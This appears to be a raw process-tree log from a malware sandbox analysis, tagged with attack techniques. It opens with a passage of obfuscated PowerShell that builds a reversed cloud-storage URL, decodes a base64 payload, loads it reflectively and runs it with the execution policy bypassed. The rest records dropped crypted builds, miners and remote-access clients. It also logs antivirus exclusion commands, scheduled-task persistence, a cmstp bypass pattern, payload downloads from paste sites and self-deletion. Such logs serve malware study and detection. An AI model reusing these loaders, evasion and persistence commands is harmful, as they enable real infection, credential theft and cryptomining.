''4be317c8baeb-089b-55a4-5bb2-8e485ff2=nekot&aidem=tla?txt.etsosibafmer/o/ppa.egarotsesaberif.70879-ibaforp/b/0v/moc.sipaelgoog.egarotsesaberif//:'' + ''sptth'';;$x = (Join-Path $env:TEMP ''RTxuv.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'',''A'');' ;$MODRg += '[Byte[]] $oTFes = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.' + $gDwFu + '( $oTFes ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).' + $WFnlg + '( $FoGmg , [object[]] ( $mMOjU , ''%fOyRe%'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'nAvER.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\nAvER.ps16⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\vi1433.exevi1433.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\89f8085471984c84baafa725056af4b5_crypted_build.exe89f8085471984c84baafa725056af4b5_crypted_build.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\amnew.exeamnew.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\b52c5c03cb\burun.exe"C:\Users\Admin\AppData\Local\Temp\b52c5c03cb\burun.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\801b0b4d118a4c0a8c4523e7805f5227_crypted_build.exe801b0b4d118a4c0a8c4523e7805f5227_crypted_build.exe3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe shimcomthurs.vbs3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\1553fbb2b1f945438f2744a16750122c_crypted_build.exe1553fbb2b1f945438f2744a16750122c_crypted_build.exe3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe#cmd4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 852 -s 6285⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10840 -s 9684⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\jqqvLru0VAiH3z.exejqqvLru0VAiH3z.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\fc2e7a9930c9496c9df103b2bff5e372_miner.exefc2e7a9930c9496c9df103b2bff5e372_miner.exe3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\xgy\dadaasads_new.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\AppData\Local\Update68917\AppInstaller.exe"C:\Users\Admin\AppData\Local\Update68917\AppInstaller.exe" "C:\Users\Admin\AppData\Local\Microsoft74730\FolderBP.exe"5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /IM cmstp.exe /F >nul 2>&16⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM cmstp.exe /F7⤵
- Kills process with taskkill
-
-
-
C:\Windows\SYSTEM32\cmstp.execmstp.exe /au "C:\Users\Admin\AppData\Local\Temp\cmstp.inf"6⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /IM cmstp.exe /F >nul 2>&16⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM cmstp.exe /F7⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Update68917\AppInstaller.exe"C:\Users\Admin\AppData\Local\Update68917\AppInstaller.exe" "C:\Users\Admin\AppData\Local\npUpdater\core.exe"5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /IM cmstp.exe /F >nul 2>&16⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM cmstp.exe /F7⤵
- Kills process with taskkill
-
-
-
C:\Windows\SYSTEM32\cmstp.execmstp.exe /au "C:\Users\Admin\AppData\Local\Temp\cmstp.inf"6⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /IM cmstp.exe /F >nul 2>&16⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM cmstp.exe /F7⤵
- Kills process with taskkill
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\zrs.exezrs.exe3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"4⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\oyyI06wGPy2o.exe"C:\Users\Admin\AppData\Local\oyyI06wGPy2o.exe"4⤵
-
C:\Users\Admin\AppData\Local\oyyI06wGPy2o.exe"C:\Users\Admin\AppData\Local\oyyI06wGPy2o.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\r9osf7XQW33w.exe"C:\Users\Admin\AppData\Local\r9osf7XQW33w.exe"4⤵
-
C:\Users\Admin\AppData\Local\r9osf7XQW33w.exe"C:\Users\Admin\AppData\Local\r9osf7XQW33w.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\7cvmznhXSSxx.exe"C:\Users\Admin\AppData\Local\7cvmznhXSSxx.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\JjgTQIxiRpRP.exe"C:\Users\Admin\AppData\Local\JjgTQIxiRpRP.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\HHP.exeHHP.exe3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\STPWlPUEAbN.exe"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\STPWlPUEAbN" /XML "C:\Users\Admin\AppData\Local\Temp\tmp4C9F.tmp"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Winrar64Unlocked.exeWinrar64Unlocked.exe3⤵
-
C:\Users\Admin\AppData\Local\VioletClient3335.exe"C:\Users\Admin\AppData\Local\VioletClient3335.exe"4⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "VioletClient3335" /tr "C:\Users\Admin\AppData\Roaming\VioletClient3335.exe"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Outputunkmwn_protected.exe"C:\Users\Admin\AppData\Local\Outputunkmwn_protected.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\Snapchat Installer.exe"C:\Users\Admin\AppData\Local\Temp\Snapchat Installer.exe"5⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://apps.microsoft.com/store/detail/9PF9RTKMMQ69?ocid=&referrer=psi6⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x35c,0x7ffbdde5f208,0x7ffbdde5f214,0x7ffbdde5f2207⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\VioletClient.exe"C:\Users\Admin\AppData\Local\VioletClient.exe"4⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "VioletClient" /tr "C:\Users\Admin\AppData\Roaming\VioletClient.exe"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\VioletClient3335_protected.exe"C:\Users\Admin\AppData\Local\VioletClient3335_protected.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Winrar64.exe"C:\Users\Admin\AppData\Local\Winrar64.exe"4⤵
-
C:\Users\Admin\AppData\Roaming\VioletClient3335_protected.exe"C:\Users\Admin\AppData\Roaming\VioletClient3335_protected.exe"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\AsyncClient3333312313_protected.exeAsyncClient3333312313_protected.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\NjtIeMV.exeNjtIeMV.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\lk5Bp4t.exelk5Bp4t.exe3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"4⤵
-
-
C:\Users\Admin\Documents\6uuvZCoFN9X3.exe"C:\Users\Admin\Documents\6uuvZCoFN9X3.exe"4⤵
-
-
C:\Users\Admin\Documents\NWYe2M7uwsj0.exe"C:\Users\Admin\Documents\NWYe2M7uwsj0.exe"4⤵
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\a\lk5Bp4t.exe4⤵
-
C:\Windows\system32\timeout.exetimeout /t 55⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\sadd.exesadd.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\random.exerandom.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\HGT.exeHGT.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5496 -s 11124⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5496 -s 11124⤵
- Program crash
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File strayedKl.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\dda45bc6697f47ef9866999b08f1bc37_miner.exedda45bc6697f47ef9866999b08f1bc37_miner.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\90129a48641c4917b0bb758f24ee45ba_miner.exe90129a48641c4917b0bb758f24ee45ba_miner.exe3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe proceso.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri 'https://pastebin.com/raw/UEhZGpZs' -OutFile 'C:\Users\Admin\AppData\Local\Temp\data_exp.txt'"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://dpaste.org/0cWks/raw' -OutFile 'C:\Users\Admin\AppData\Local\Temp\d.txt'"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Winrar64.exeWinrar64.exe3⤵
-
C:\Users\Admin\AppData\Roaming\VioletClient3335_protected.exe"C:\Users\Admin\AppData\Roaming\VioletClient3335_protected.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\yfUrA3L.exeyfUrA3L.exe3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2r4r0kdh.nkz"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\2r4r0kdh.nkz /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\2r4r0kdh.nkz\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\2r4r0kdh.nkz --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbde14dcf8,0x7ffbde14dd04,0x7ffbde14dd105⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2r4r0kdh.nkz" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1912,i,1516362633052076830,5258010436379662336,262144 --variations-seed-version --mojo-platform-channel-handle=1908 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2r4r0kdh.nkz" --field-trial-handle=1980,i,1516362633052076830,5258010436379662336,262144 --variations-seed-version --mojo-platform-channel-handle=1964 /prefetch:35⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2r4r0kdh.nkz" --field-trial-handle=1976,i,1516362633052076830,5258010436379662336,262144 --variations-seed-version --mojo-platform-channel-handle=2136 /prefetch:85⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2r4r0kdh.nkz" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2884,i,1516362633052076830,5258010436379662336,262144 --variations-seed-version --mojo-platform-channel-handle=2892 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2r4r0kdh.nkz" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2656,i,1516362633052076830,5258010436379662336,262144 --variations-seed-version --mojo-platform-channel-handle=2976 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2r4r0kdh.nkz" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3276,i,1516362633052076830,5258010436379662336,262144 --variations-seed-version --mojo-platform-channel-handle=3320 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2r4r0kdh.nkz" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=3292,i,1516362633052076830,5258010436379662336,262144 --variations-seed-version --mojo-platform-channel-handle=3324 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2r4r0kdh.nkz" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=3332,i,1516362633052076830,5258010436379662336,262144 --variations-seed-version --mojo-platform-channel-handle=3344 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2r4r0kdh.nkz" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=3376,i,1516362633052076830,5258010436379662336,262144 --variations-seed-version --mojo-platform-channel-handle=3352 /prefetch:25⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\una20skm.s30"4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\una20skm.s30 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\una20skm.s30\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x234,0x238,0x23c,0x230,0x2ec,0x7ffbdde5f208,0x7ffbdde5f214,0x7ffbdde5f2205⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\una20skm.s30" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=1964,i,7026829688080072269,11494473950667648796,262144 --variations-seed-version --mojo-platform-channel-handle=1940 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\una20skm.s30" --always-read-main-dll --field-trial-handle=1996,i,7026829688080072269,11494473950667648796,262144 --variations-seed-version --mojo-platform-channel-handle=2008 /prefetch:35⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\una20skm.s30" --always-read-main-dll --field-trial-handle=2328,i,7026829688080072269,11494473950667648796,262144 --variations-seed-version --mojo-platform-channel-handle=2360 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\una20skm.s30" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3076,i,7026829688080072269,11494473950667648796,262144 --variations-seed-version --mojo-platform-channel-handle=3152 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\una20skm.s30" --instant-process --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3116,i,7026829688080072269,11494473950667648796,262144 --variations-seed-version --mojo-platform-channel-handle=3180 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\una20skm.s30" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=3676,i,7026829688080072269,11494473950667648796,262144 --variations-seed-version --mojo-platform-channel-handle=3688 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\una20skm.s30" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=3716,i,7026829688080072269,11494473950667648796,262144 --variations-seed-version --mojo-platform-channel-handle=3740 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\una20skm.s30" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --field-trial-handle=3816,i,7026829688080072269,11494473950667648796,262144 --variations-seed-version --mojo-platform-channel-handle=3840 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\una20skm.s30" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --field-trial-handle=3900,i,7026829688080072269,11494473950667648796,262144 --variations-seed-version --mojo-platform-channel-handle=4044 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\una20skm.s30" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --field-trial-handle=3940,i,7026829688080072269,11494473950667648796,262144 --variations-seed-version --mojo-platform-channel-handle=4048 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\una20skm.s30" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --field-trial-handle=3956,i,7026829688080072269,11494473950667648796,262144 --variations-seed-version --mojo-platform-channel-handle=4100 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\una20skm.s30" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --field-trial-handle=3964,i,7026829688080072269,11494473950667648796,262144 --variations-seed-version --mojo-platform-channel-handle=4104 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\una20skm.s30" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --field-trial-handle=3992,i,7026829688080072269,11494473950667648796,262144 --variations-seed-version --mojo-platform-channel-handle=4128 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\una20skm.s30" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --field-trial-handle=4072,i,7026829688080072269,11494473950667648796,262144 --variations-seed-version --mojo-platform-channel-handle=4144 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\una20skm.s30" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --field-trial-handle=4080,i,7026829688080072269,11494473950667648796,262144 --variations-seed-version --mojo-platform-channel-handle=4152 /prefetch:25⤵
-
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Tb1kPLU.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\jeiriaP.exejeiriaP.exe3⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c cmd < Translated.jar4⤵
-
C:\Windows\SysWOW64\cmd.execmd5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\H5ZDZnmKtSuIn1f.exeH5ZDZnmKtSuIn1f.exe3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\H5ZDZnmKtSuIn1f.exe"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
